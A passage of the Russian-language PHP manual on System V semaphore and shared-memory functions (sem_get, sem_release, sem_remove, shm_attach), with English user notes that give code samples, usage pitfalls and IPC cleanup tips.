    myEcho('    token new value: ' . var_export($tmp, true));
    myEcho('release token semaphore');
    sem_release($tokenSemaphore);
}

for ($triesLeft = 5; $triesLeft > 0 && !try_lock(); $triesLeft--) {
    myEcho('failed to acquire resource');
    myEcho('wait for 1 sec');
    sleep(1);
    myEcho('try again');
}
myEcho('    access the resource for 4 sec');
//paste here your code, accessing your resource
sleep(4);
release();
myEcho('the end');
?>
When I execute this script in two parallel instances, I get the following output:
-------(first instance)----------------------------------------
... 482 begin try_lock()
... 482 acquire token semaphore
... 482     token semaphore acquired
... 482     token value: false
... 482     token new value: true
... 482 release token semaphore
... 482 acquire resource semaphore
... 482     resource semaphore acquired
... 482     access the resource for 4 sec
... 486 release resource semaphore
... 486 acquire token semaphore
... 486     token semaphore acquired
... 486     token value: true
... 486     token new value: false
... 486 release token semaphore
... 486 the end
-------(second instance)----------------------------------------
... 485 begin try_lock()
... 485 acquire token semaphore
... 485     token semaphore acquired
... 485     token value: true
... 485 release token semaphore
... 485 failed to acquire resource
... 485 wait for 1 sec
...
... 486 wait for 1 sec
... 487 try again
... 487 begin try_lock()
... 487 acquire token semaphore
... 487     token semaphore acquired
... 487     token value: false
... 487     token new value: true
... 487 release token semaphore
... 487 acquire resource semaphore
... 487     resource semaphore acquired
... 487     access the resource for 4 sec
... 491 release resource semaphore
... 491 acquire token semaphore
... 491     token semaphore acquired
... 491     token value: true
... 491     token new value: false
... 491 release token semaphore
... 491 the end
anatoliy at ukhvanovy dot name 06-Feb-2015 05:33
Unfortunately, PHP does not currently support non-blocking semaphores.

If something like this is necessary you can utilize semaphores together with shared memory to create your own non-blocking lock mechanisms.

Use a shared memory variable to mark whether or not a lock exists and then use a semaphore around operations against that variable.
Sander Backus 04-Nov-2013 09:01
Note that when you reset $sem_identifier the semaphore won't block anymore!

This code does NOT work:
    $key     = ftok(__FILE__,'m');
    $a        = sem_get($key);
    sem_acquire($a);
    $a = false;

while this one does:

    $key     = ftok(__FILE__,'m');
    $a        = sem_get($key);
    sem_acquire($a);
    //$a = false;

So: use unique var names for your identifier!
Pinky 13-Feb-2012 08:29
sem_acquire() is blocking, meaning that subsequent calls with the same semaphore will block indefinitely until the semaphore is released. This ensures serialization, but it is not very practical if all you want to do is check if you should proceed or not. Unfortunately, PHP does not yet support any method of querying the state of a semaphore in a non-blocking manner.

It may seem possible to put together such a mechanism by hand, using shared memory (shm_ functions). However, be warned that it is not trivial and ultimately non-productive. You cannot, for example, simply pick a shared mem var, store the semaphore key and query it. Such an operation would be non-transactional and non-atomic ie. it is possible for two or more parallel processes to manage to read "not locked" from the shared mem var before one of them manages to mark it "locked". You would have to use a (blocking) semaphore to serialize access to the shared mem var, thus recreating the very problem you are trying to solve.

In other words, if non-blocking queries are crucial to you, you need to either request that this issue be solved by the PHP designers, or pick another mechanism to do your locking, one that already has this feature.
arjuna w 28-Jan-2012 01:14
In my tests sem_acquire() is 150 times faster than flock()
gladd at trash dot eris dot qinetiq dot com 13-Apr-2004 02:02
Just to clarify what is meant by "process" above:

On the Apache webserver, many PHP requests will be executed within the same process space because it is multithreaded. However, any semaphores got and acquired by a script and not released and removed will still be automatically cleaned up by the PHP interpreter each time the script terminates.

Remove any trash before emailing!


Получение идентификатора семафора

  • « sem_acquire
  • sem_release »
  • PHP Manual
  • Функции семафоров
  • Получение идентификатора семафора

sem_get

(PHP 4, PHP 5, PHP 7, PHP 8)

sem_get — Получение идентификатора семафора

Описание

sem_get(
int $key,
int $max_acquire = 1,
int $permissions = 0666,
bool $auto_release = true
): SysvSemaphore|false

sem_get() возвращает идентификатор, который может быть использован для доступа к семафору System V, по заданному значению key.

Последующие вызовы sem_get() для того же самого ключа будут возвращать другие идентификаторы, однако все они будут ссылаться на один и тот же семафор.

Если key равен 0, то для каждого вызова sem_get() создаётся новый приватный семафор.

Список параметров

key

max_acquire

Число процессов, которые могут одновременно использовать семафор задаётся через max_acquire.

permissions

Права доступа к семафору. В действительности, устанавливается только если процесс является единственным использующим семафор.

auto_release

Определяет, должен ли семафор автоматически освобождаться при завершении работы.

Возвращаемые значения

При успешном завершении возвращается положительный идентификатор семафора, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр SysvSemaphore; ранее возвращался ресурс (resource).
8.0.0 | Тип auto_release изменён с целого числа (int) на логическое значение (bool).

Примечания

Внимание

Когда sem_get() используется для доступа к семафору, созданному вне PHP, обратите внимание на то, что этот семафор должен быть создан как набор из трёх семафоров (к примеру, путём указания 3 в качестве параметра nsems во время вызова C-функции semget()), в противном случае, PHP не сможет обратиться к семафору.

Смотрите также

  • sem_acquire() - Захват семафора
  • sem_release() - Освобождение семафора
  • ftok() - Преобразование пути и идентификатора проекта в ключ System V IPC

User Contributed Notes

Dan East 09-Feb-2021 01:42
Note that the default permissions parameter is octal!  Thus the default of 0666 is NOT the same as 666, or 0x666.

If you specify the permission as decimal 666 then you end up with permissions that prevent the semaphore from being read.  The symptom is that you can only sem_get it once, and subsequent sem_get will fail (until you ipcrm or sem_remove it and delete it entirely).

Thus these are all equivalent to the default:
sem_get ( 123, 1, 0666)
sem_get ( 123, 1, 438)
sem_get ( 123, 1, 0x1b6)

Most PHP developers (myself included) work with octal numbers so infrequently that the number 0666 can easily be mistaken as 666 or maybe 0x666.
kakkau at grr dot la 04-Apr-2016 09:19
It is possible to create an "infinite" amount of semaphores when setting $key = 0.

Run sem_get multiple times
php > sem_get(0,0);

and check the output of
$ ipcs -s

------ Semaphore Arrays --------
key        semid      owner      perms      nsems
0x00000000 1277952    user       666        3
0x00000000 1310721    user       666        3

As you can see there were multiple semaphores set up with key 0.
For any other integer sem_get works as expected. It returns another resource id pointing to the semaphore previously created and does not create another semaphore.
kakkau at grr dot la 20-Oct-2015 09:35
For those that encounter strange behavior in using sem_acquire() on resources generated by sem_get(). Have a look at  sem_get()'s 4th parameter auto_release. It allows multiple acquisitions through reassignments to resource variables.

./multi.acquire.php
<?php
class Sem {
  private $key = null;
  private $res = null;
  public function __construct() {
    $this->key = ftok(".",".");
    $this->set_res();
    $this->acquire();
  }
  public function set_res() {
    // 4th parameter auto_released is 1 by default
    $this->res = sem_get($this->key, 1, 0600, 1);
  }
  public function acquire() {
    echo "acquired='".sem_acquire($this->res,true)."'\n";
  }
}

$s = new Sem();
$s->set_res();
$s->acquire();

?>

$ php multi.acquire.php
acquired='1'
acquired='1'

To avoid reacquiring by default set sem_get()'s parameter auto_release to 0 or check if your resource variable is already set, e.g. by using is_null().
Michael Z. 25-Aug-2011 06:37
Watch out when you use fileinode() to get a unique semaphore key (as suggested in some comment on this or a related function) in conjunction with version control software: It seems, for example, SVN will change the inode. Using such a file will leave you with your mutex not working reliably and your system's semaphore pool being filled until further attempts to get a semaphore will fail. Use ipcs and ipcrm commands from linux-util-ng (on most distros probably) to examine/fix related problems.
soger 28-Mar-2011 08:20
Actually it looks like the semaphore is automatically released not on request shutdown but when the variable you store it's resource ID is freed. That is a very big difference.
cyrus dot drive at gmail dot com 01-May-2008 05:51
Implementation of a read-write semaphore in PHP:

<?php
class rw_semaphore {

    const READ_ACCESS = 0;
    const WRITE_ACCESS = 1;

    /**
     * @access private
     * @var resource - mutex semaphore
     */
    private $mutex;

    /**
     * @access private
     * @var resource - read/write semaphore
     */
    private $resource;

    /**
     * @access private
     * @var int
     */
    private $writers = 0;

    /**
     * @access private
     * @var int
     */
    private $readers = 0;

    /**
     * Default constructor
     *
     * Initialize the read/write semaphore
     */
    public function __construct() {
        $mutex_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'm');
        $resource_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'r');
        $this->mutex = sem_get($mutex_key, 1);
        $this->resource = sem_get($resource_key, 1);
    }

    /**
     * Destructor
     *
     * Remove the read/write semaphore
     */
    public function __destruct() {
        sem_remove($this->mutex);
        sem_remove($this->resource);
    }

    /**
     * Request acess to the resource
     *
     * @param int $mode
     * @return void
     */
    private function request_access($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers++;

            sem_release($this->mutex);
            sem_acquire($this->resource);
        } else {
            sem_acquire($this->mutex);
            if ($this->writers > 0 || $this->readers == 0) {
                sem_release($this->mutex);
                sem_acquire($this->resource);
                sem_acquire($this->mutex);
            }
            /* update the readers counter */
            $this->readers++;

            sem_release($this->mutex);
        }
    }

    private function request_release($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers--;

            sem_release($this->mutex);
            sem_release($this->resource);
        } else {
            sem_acquire($this->mutex);

            /* update the readers counter */
            $this->readers--;

            if ($this->readers == 0)
                sem_release($this->resource);

            sem_release($this->mutex);
        }
    }

    /**
     * Request read access to the resource
     *
     * @return void
     */
    public function read_access() { $this->request_access(self::READ_ACCESS); }

    /**
     * Release read access to the resource
     *
     * @return void
     */
    public function read_release() { $this->request_release(self::READ_ACCESS); }

    /**
     * Request write access to the resource
     *
     * @return void
     */
    public function write_access() { $this->request_access(self::WRITE_ACCESS); }

    /**
     * Release write access to the resource
     *
     * @return void
     */
    public function write_release() { $this->request_release(self::WRITE_ACCESS); }

}
?>
ein at anti-logic dot com 26-Jun-2007 04:21
Be aware that there is no way to ensure that you have exclusive access to a lock, despite setting max_acquire=1.

In example,
<?
$fp = sem_get(fileinode('lock_file', 100);
sem_acquire($fp);

$fp2 = sem_get(fileinode('lock_file', 1);
sem_acquire($fp2);
?>

This will not block on the second sem_aquire.  Therefore, if you have functions or processes that utilize shared locks (>1 max_acquire) you will still need to provide a seperate lock mechanism (ie flock) for write access, making the sem_ functions useless.

Some more info, in flock, each reference to the lock file has it's own options (can be shared exclusive blocking non blocking etc), but apparently php's sem functions only support these options per semaphore, not per semaphore-reference.
neofutur 28-Aug-2006 12:49
with gentoo php5 you will need to add the USE flag :
sysvipc

see :
 http://forums.gentoo.org/viewtopic-t-464175-highlight-semget+php.html

and also :
 http://overlays.gentoo.org/proj/php/
joeldg AT listbid.com 02-May-2003 11:39
Heh, actually the above comment I added is not technically correct, it was more of an idea to display the function.

$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);
// we now have our shm segment

// lets place a variable in there
shm_put_var ($data, $inmem, "test");
// now lets get it back. we could be in a forked process and still have
// access to this variable.
printf("shared contents: %s\n", shm_get_var($data, $inmem));

shm_detach($data);
joeldg at listbid.com 02-May-2003 12:36
<?
// thanks to
// http://www.ecst.csuchico.edu/~beej/guide/ipc/shmem.html
$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);

$data = "test";
printf("shared contents: %s\n", $data);

shm_detach($data);
?>


Освобождение семафора

  • « sem_get
  • sem_remove »
  • PHP Manual
  • Функции семафоров
  • Освобождение семафора

sem_release

(PHP 4, PHP 5, PHP 7, PHP 8)

sem_release — Освобождение семафора

Описание

sem_release(SysvSemaphore $semaphore): bool

sem_release() освобождает семафор, если он был захвачен вызывающим процессом, в противном случае генерируется предупреждение.

После освобождения семафор может быть захвачен повторно через вызов sem_acquire().

Список параметров

semaphore

Семафор, возвращённый sem_get().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр semaphore теперь ожидает экземпляр SysvSemaphore; ранее ожидался ресурс (resource).

Смотрите также

  • sem_get() - Получение идентификатора семафора
  • sem_acquire() - Захват семафора

User Contributed Notes

danno at circumsolutions dot com 01-Apr-2001 02:44
If you want to implement this sort of semaphore access (which is usually what is needed if doing ipc) one thing you can do is create shared memory which is simply an int. Use this int between processes as the value of the semaphore.  You can write wrapper functions which use this to allow you to do the desired readers-writers stuff or just use the shared memory plain.  I wouldn't be too worried about race conditions in this case as the shared memory is only an int.  If you are worried about race conditions, the wrapper functions for doing the semaphore stuff could actually use a semaphore to elimate any race conditions.  Also, an added bonus of doing it this way is you can check the value of the int.
apua at communiplex dot com 08-Dec-1999 08:54
The fact that sem_release only resease the semaphore if it is currently acquired by the calling process is, in fact, a misfeature since sometimes (eg in a readers-writers implementation) it is desirable to release a semaphore acquired by another process. In C you can do that.
I'm telling this because I was trying to write a chat app in php3 made of two programs: a listener and a speaker. The speaker releases a semaphore to inform that there is a new message in a shared memory var. And listeners wait in that semaphore before outputting the message.


Удаление семафора

  • « sem_release
  • shm_attach »
  • PHP Manual
  • Функции семафоров
  • Удаление семафора

sem_remove

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

sem_remove — Удаление семафора

Описание

sem_remove(SysvSemaphore $semaphore): bool

sem_remove() удаляет указанный семафор.

После удаления семафора он становится недоступным.

Список параметров

semaphore

Семафор, возвращённый sem_get().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Параметр semaphore теперь ожидает экземпляр SysvSemaphore; ранее ожидался ресурс (resource).

Смотрите также

  • sem_get() - Получение идентификатора семафора
  • sem_release() - Освобождение семафора
  • sem_acquire() - Захват семафора

User Contributed Notes

donotcallme at iwillcallyou dot com 28-Oct-2013 05:10
sem_remove() shouldn't be part of a normal cleanup/teardown and should be called very rarely due to bugs in the implementation.

It doesn't seem to hurt to leave semaphores lying around and is likely to be more performance-friendly to do so.  If you are concerned about having too many semaphores floating around for an application (e.g. a file cache that uses ftok()), you can use some modulus arithmetic and simple addition to create a limited range of values for your semaphores off in the middle of nowhere.  For example, ftok() % 101 + 0xBADBEEF.  Be sure to replace 0xBADBEEF with your own random value.  The example limits the range to 101 semaphores.  101 is a prime number - so if you want more or less, be sure to replace it with a prime number since primes theoretically help distribute values more evenly.


Создаёт или открывает сегмент разделяемой памяти

  • « sem_remove
  • shm_detach »
  • PHP Manual
  • Функции семафоров
  • Создаёт или открывает сегмент разделяемой памяти

shm_attach

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_attach — Создаёт или открывает сегмент разделяемой памяти

Описание

shm_attach(int $key, ?int $size = null, int $permissions = 0666): SysvSharedMemory|false

shm_attach() возвращает идентификатор, который можно использовать для доступа к разделяемой памяти System V по заданному ключу key. Первый вызов создаёт сегмент размером size и опциональными битами прав доступа permissions.

Следующий вызов shm_attach() с тем же ключом key вернёт другой экземпляр SysvSharedMemory, но они оба будут указывать на один и тот же сегмент разделяемой памяти. Параметры size и permissions будут проигнорированы.

Список параметров

key

Числовой идентификатор сегмента разделяемой памяти

size

Размер памяти. Если не задан, то по умолчанию будет использоваться sysvshm.init_mem в php.ini. Если не задан и он, тогда 10000 байт.

permissions

Опциональные биты прав доступа. По умолчанию 0666.

Возвращаемые значения

Возвращает экземпляр SysvSharedMemory в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр SysvSharedMemory; ранее возвращался ресурс (resource).
8.0.0 | size теперь допускает значение null.

Смотрите также

  • shm_detach() - Отключается от сегмента разделяемой памяти
  • ftok() - Преобразование пути и идентификатора проекта в ключ System V IPC

User Contributed Notes

bobhairgrove 13-Feb-2018 07:40
Under the "Notes" section, it is stated that one can cast the resource ID returned by shm_attach() to an integer as of PHP 5.3.0; however, this will NOT be the same integer as the shmid value which is returned from the native SysV function shmget() on Linux (as I was hoping it might be). The integer returned by casting is merely the ID number of the resource, which is totally useless outside of the context of these functions, AFAICT.

To verify this, one can allocate a memory block with shm_attach() (or shmop_open()), print out the resource returned and compare it to the value in the "shmid" column when running "ipcs" in a terminal on Linux (or some other *nix OS).
novayear # hotmail ; com 21-Apr-2014 08:13
small shm class..
example usage:
$shx= new shmSmart;
$shx->put("key_name_apple","key_val_peach"); //set example..
$shx->put("key name alternative array",array(1=>"banana","apricot","blablabla"=>array("new-blaala"))); //set array example..
echo  $shx->get("key_name_apple"); // get example key value.
$shx->del("key_name_apple"); // delete key
unset($shx); // free memory in php..

class shmSmart{
  public $shm;            //holds shared memory resource
  public function __construct(){
    if(function_exists("shm_attach")===FALSE){
      die("\nYour PHP configuration needs adjustment. See: http://us2.php.net/manual/en/shmop.setup.php. To enable the System V shared memory support compile PHP with the option --enable-sysvshm.");
    }
    $this->attach();    //create resources (shared memory)
  }
  public function attach(){
    $this->shm=shm_attach(0x701da13b,33554432);    //allocate shared memory
  }
  public function dettach(){
    return shm_detach($this->shm);    //allocate shared memory
  }
  public function remove(){
    return shm_remove($this->shm);    //dallocate shared memory
  }
  public function put($key,$var) {
    return shm_put_var($this->shm,$this->shm_key($key),$var);    //store var
  }
  public function get($key){
    if($this->has($key)){
      return shm_get_var($this->shm,$this->shm_key($key));  //get var
    }else{
      return false;
    }
  }
  public function del($key){
    if($this->has($key)){
      return shm_remove_var($this->shm,$this->shm_key($key)); // delete var
    }else{
      return false;
    }
  }
  public function has($key){
    if(shm_has_var($this->shm,$this->shm_key($key))){ // check is isset
      return true;
    }else{
      return false;
    }
  }
  public function shm_key($val){ // enable all world langs and chars !
    return preg_replace("/[^0-9]/","",(preg_replace("/[^0-9]/","",md5($val))/35676248)/619876); // text to number system.
  }
  public function __wakeup() {
    $this->attach();
  }
  public function __destruct() {
    $this->dettach();
    unset($this);
  }
}
Daniel Knecht 27-Mar-2014 11:30
If you get an error like "PHP Warning:  shm_attach(): failed for key 0x61040bb5: Cannot allocate memory" then you might need to tweak your shared memory configuration.

To see your system values, enter "sysctl kern.sysv."
Important values are kern.sysv.shmmax and kern.sysv.shmall:
* kern.sysv.shmmax is the max number of bytes one shared memory segment may have
* kern.sysv.shmall is the max number of memory pages all shared memory segments together can consume
One memory page is 4096 bytes, meaning that if you set kern.sysv.shmmax to 1073741824 (1GB) then kern.sysv.shmall must be at least 262144 to be able to allocate a one GB memory segment (since 262144 * 4096 = 1073741824).

tl;dr The default values on some systems are very low and then it is not enough to only increase kern.sysv.shmmax - also kern.sysv.shmall needs to be increased accordingly!
info at tristat dot org 15-Oct-2011 05:07
You might expect the SHM functions to be significantly faster than building variables from MySQL operations. Unfortunately this is not the case regarding large multidimensional arrays. I've tested write, read, update and delete operations with with a two dimensional associative array directly with SHM and in comparison with a class using MySQL and a class using SHMOP functions (with mostly offset-accurate serialization). Both classes generated the same array as stored with SHM. Unlike SHMOP the performance of SHM decreases considerably with larger arrays. At 2000 instructions with an $array[$row][$key] of 200 rows and 5 keys even MySql is faster than SHM.This might be due to the fact, that SHM deals with any kind of arrays and makes internal use the PHPs powerful serialize() function.
nathanbruer at gmail dot com 05-Apr-2011 01:21
I was playing around with these functions and made a class in the process. This will of course be slower than accessing a variable locally, but gives the ability to store variables in a shared environment and gives many running scripts the understanding that it should access them from the shared area. This should also auto destroy the shared memory area once no more scripts have a link to the data (when all scripts use this class).

<?php
class SharedMemory{
    private $nameToKey = array();
    private $key;
    private $id;
    function __construct($key = null){
        if($key === null){
            $tmp = tempnam('/tmp', 'PHP');
            $this->key = ftok($tmp, 'a');
            $this->id = shm_attach($this->key);
            $this->nameToKey[] = '';
            $this->nameToKey[] = '';
            $this->updateMemoryVarList();
            shm_put_var($this->id, 1, 1);
        }else{
            $this->key = $key;
            $this->id = sem_get($this->key);
            $this->refreshMemoryVarList();
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
        }
        if(!$this->id)
            die('Unable to create shared memory segment');
    }
    function __sleep(){
        shm_detach($this->id);
    }
    function __destruct(){
        if(shm_get_var($this->id, 1) == 1){
            // I am the last listener so kill shared memory space
            $this->remove();
        }else{
            shm_detach($this->id);
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) - 1);
        }
    }
    function __wakeup(){
        $this->id = sem_get($this->key);
        shm_attach($this->id);
        $this->refreshMemoryVarList();
        shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
    }
    function getKey(){
        return $this->key;
    }
    function remove(){
        shm_remove($this->id);
    }
    function refreshMemoryVarList(){
        $this->nameToKey = shm_get_var($this->id, 0);
    }
    function updateMemoryVarList(){
        shm_put_var($this->id, 0, $this->nameToKey);
    }
    function __get($var){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
        }
        return shm_get_var($this->id, array_search($var, $this->nameToKey));
    }
    function __set($var, $val){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
            $this->nameToKey[] = $var;
            $this->updateMemoryVarList();
        }
        shm_put_var($this->id, array_search($var, $this->nameToKey), $val);
    }
}

// Example
$sharedMem = new SharedMemory();
$pid = pcntl_fork();
if($pid){
    //parent
    sleep(1);
    echo "Parent Says: " . $sharedMem->a . "\n";
    echo "Parent Changed to 0\n";
    $sharedMem->a = 0;
    //Parent just changed it to 0
    echo "Parent Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Parent think's it's 0, but child has changed it to 1
    echo "Parent Says: " . $sharedMem->a . "\n";
}else{
    //child
    $sharedMem->a = 2;
    echo "Child Changed to 2\n";
    // Should be 2 as child just set it to 2
    echo "Child Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Child think's it's 2, but the parent set it to 0.
    echo "Child Says: " . $sharedMem->a . "\n";
    echo "Child Added 1\n";
    $sharedMem->a++;
    echo "Child Says: " . $sharedMem->a . "\n";
}
?>
somepay at gmail dot com 05-Aug-2010 03:07
In my log I have found string
"shm_attach(): failed for key 0x366f: No space left on device"
But have not found any suggestion for this at php.net and at google.

So question was how to make free memory used by shm_attach .
At first to view (Linux)  how many segments allocated, use
:~# ipcs -mu
then
limits
:~# ipcs -ml

to remove segment use:
:~# ipcrm -m [shmid]

otherwise you can reboot server, or launch sh script based on commands above.

To avoid troubles with "No space left on device" ALWAYS use
shm_remove() & shm_detach() after call shm_attach().
pail dot luo at gmail dot com 26-Feb-2009 06:43
A simple Sample to introduce SHM.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] send|recv|rem|dele ID [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] recv 1 \n" ;
        echo "       $argv[0] rem 1 \n" ;
        echo "       $argv[0] dele \n" ;
        exit;
}

// $SHMKey = ftok(__FILE__, "Z");
$SHMKey = "123456" ;

## Create/Open a shm
$seg = shm_attach( $SHMKey, 1024, 0666 ) ;

switch ( $argv[1] ) {
    case "send":
        shm_put_var($seg, $argv[2], $argv[3]);
        echo "send msg done...\n" ;
        break;

    case "recv":
        $data = shm_get_var($seg, $argv[2]);
        echo $data . "\n" ;
        break;

    case "rem":
        shm_remove_var($seg, $argv[2]);
        break;

    case "dele":
        shm_remove($seg);
        break;

    case "dele2":
        `/usr/bin/ipcrm -M 123456`;
        break;
}
?>
nkatz at yahooo dot com 18-Sep-2008 05:31
Responding to jpeter1978 at yahoo dot com ... Assuming a character is typically two bytes, the size of a serialized variable (incl array or obj) is 2 * its strlen().  The 44 is 4 more than the 24 + 16 = 40 suggested by php at cytrax dot de plus 4 bytes for worst case 4-byte alignment.  So this is probably a reliable formula if you are too lazy to align it using something similar to zeppelinux at comcast dot net as in:

($strlen($serialized_array_or_obj) /4 ) * 4 ) + 40;

The zeppelinux formula would use 20 (for 4-byte integer cpu) or 36 (for 64-bit or 8-byte cpu) for the ending constant so 40 or 44 is probably just achieving header padding but it certainly can't hurt.
zeppelinux at comcast dot net 14-Aug-2008 12:19
<?php

//how to calculate the  minimum $memsize required to store the variable $foo where $foo='foobar'.

// when shm_attach() is called for the first time, PHP writes a header to the beginning of the shared memory.
$shmHeaderSize = (PHP_INT_SIZE * 4) + 8;

// when shm_put_var() is called, the variable is serialized and a small header is placed in front of it before it is written to shared memory.
$shmVarSize = (((strlen(serialize($foo))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

// now add the two together to get the total memory required. Of course, if you are storing more than one variable then you dont need to add $shmHeaderSize for each variable, only add it once.
$memsize = $shmHeaderSize + $shmVarSize;

//this will give you just enough memory to store the one variable using shm_put_var().
$shm_id = shm_attach ( $key, $memsize, 0666 ) ;
shm_put_var  ( $shm_id  , $variable_key  , $foo  );

any attempt to store another variable will result in a 'not enough memory' error.
Be aware that if you change the contents of $foo to a larger value and then you try to write it to shared memory again using shm_put_var(), then you will get a 'not enough memory' error. In this case, you will have to resize your shared memory segment and then write the new value.

If you are only storing variables that contain a single integer value, then you can avoid having to resize by always allocating the largest amount of memory that is required to store an int, which should be:
$shmIntVarSize = (((strlen(serialize(PHP_INT_MAX))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

?>
hetii at poczta dot onet dot pl 11-Jan-2008 05:18
Hi :)
I write small class for build bright message between my application.

<?
class Bright_Message
{

var $bright;
var $SHM_KEY;
var $my_pid;

        function Bright_Message($SHM_KEY=null)
        {
                $this->my_pid = getmypid();//Get own pid
                if (is_null($SHM_KEY)) $this->SHM_KEY = '123123123';
                $this->bright = shm_attach($this->SHM_KEY, 1024, 0666);
                $this->one_instance();
        }

        function get_msg($id,$remove=true)
        {
                if(@$msg=shm_get_var($this->bright,$id))
                {
                   if ($remove) @shm_remove_var($this->bright,$id);
                   return $msg;
                } else return false;
        }

        function snd_msg($id,$msg)
        {
                @shm_put_var($this->bright,$id,$msg);
                return true;
        }

        function one_instance()
        {
                $SHM_PID = $this->get_msg(1,false);
                if((strpos(exec('ps p'.$SHM_PID),$_SERVER['SCRIPT_FILENAME'])) === false)
                $this->snd_msg(1,$this->my_pid); else
                {
                        echo "This program exists on pid: $SHM_PID\r\n\r\n";
                        exit;
                }
        }

}
?>

send.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$shm->snd_msg(2,'this is my simple message');
?>

receive.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$msg = get_msg(2);
echo print_r($msg,1);
?>
jpeter1978 at yahoo dot com 03-Aug-2007 03:35
I tried all the suggestions above for getting the object size (in bytes) for $memsize, but they didn't work universally for the two types of objects I tried (string and array of strings).

After doing some googling and experimenting, I've found the following magic formula:

$memsize = ( strlen( serialize( $object ) ) + 44 ) * 2;

I found this in someone else's code, so I can't explain it.
Uther Pendragon 08-Mar-2007 09:08
As a follow-up to my last post regarding shm_attach and its limit capability for knowing how it was created....

for more control, use the shmop_* series of functions, as they have finer grained control than these.

and by the way:  the SHMOP functions SHOULD BE listed under "see also" for all the SHM* wrapper functions (I assume they are wrappers to the SHMOP* functions).
Uther Pendragon 24-Jan-2007 08:26
Since there aren't seperate functions for CREATING and ATTACHING shared memory (a mistake in my opinion), you might want to do some testing to check whether you've created it or not, as you may not want the slave of a master/slave pair to ever create the shared memory.

One way you can test this is by having your slave set the size to something small, then testing the size by putting a variable too large to fit, e.g.:

function get_shmem() {
     return shm_attach(ftok('somefile.txt', 'T'), 100, 0644);
}

$shm = get_shmem();

while (!@shm_put_var($shm, 1, str_repeat('.....', 20))) {
     shm_remove($shm);
     sleep(1);
     //we created it, so we'll remove it and sleep to wait for the master to create it, then try again.
     $shm = get_shmem();
}
shm_remove_var($shm, 1);
//here we know the shared memory was already created, because we could put a variable in bigger than the size requested.

Another way you can handle it is to have all programs initialize the shared memory with the same parameters... I had a problem with this when my clients starting too fast and created the shmem without passing a memsize value, so it was defaulting to 10k which was too small.
Katzenmeier 04-Nov-2006 03:36
The limit for one SHM block seems to be 32 MB, but you can split your data in several SHM blocks if you need to. The total SHM limit seems to be about 8 GB.

I'm not sure whether this is true for all configurations.
muytoloco at yahoo dot com dot br 23-Feb-2006 09:33
If one process make a shm_attach to one inexistent memory area, this area will be created under the same priviliegies of the script running user. If another process will try to create or acces the same area, runnig by other user with different privileges of the first user, an error will occur.
rch at todo dot com dot uy 28-Mar-2005 04:17
Cecil, the key of a var is an integer (not the name ). You can put multiples vars in the same share.

#!/usr/local/bin/php -q
<?PHP

$SHM_KEY = ftok(__FILE__, chr( 4 ) );

$data =  shm_attach($SHM_KEY, 1024, 0666);

$test1 = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data, 1, $test1);
shm_put_var($data, 2,$test2);
shm_put_var($data, 3,$test3);

print_r(shm_get_var($data, 1));
print_r(shm_get_var($data, 2));
print_r(shm_get_var($data, 3));

shm_detach($data);
?>
andreyKEINSPAM at php dot net 24-Apr-2004 09:31
As far as I see from the sources of ext/sysvshm, it's not needed to  do  arithmetic (bit) OR (|) of "perm" with  IPC_CREAT (and IPC_EXCL). The extension will do it for you. It tries to attach to the memory segment and if the try did not succeed it tries to attach but with flags set to user_flag | IPC_CREAT | IPC_EXCL.
The exact code (shm_flag is the third param to the function) :
if ((shm_id = shmget(shm_key, 0, 0)) < 0) {
      if (shm_size < sizeof(sysvshm_chunk_head)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: memorysize too small", shm_key);
            efree(shm_list_ptr);
            RETURN_FALSE;
      }
      if ((shm_id = shmget(shm_key, shm_size, shm_flag | IPC_CREAT | IPC_EXCL)) < 0) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: %s", shm_key, strerror(errno));
             efree(shm_list_ptr);
             RETURN_FALSE;
     }
}
Cecil 18-Mar-2004 12:37
Here is an example of how to use one shared memory block to store multiple variables or arrays.. unfortunetly in order to store more than ONE variable, you have to use sem_get() multiple times.. same goes for shm_attach(), shm_put_var() and shm_get_var()

#!/usr/local/bin/php -q
<?PHP
// test.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
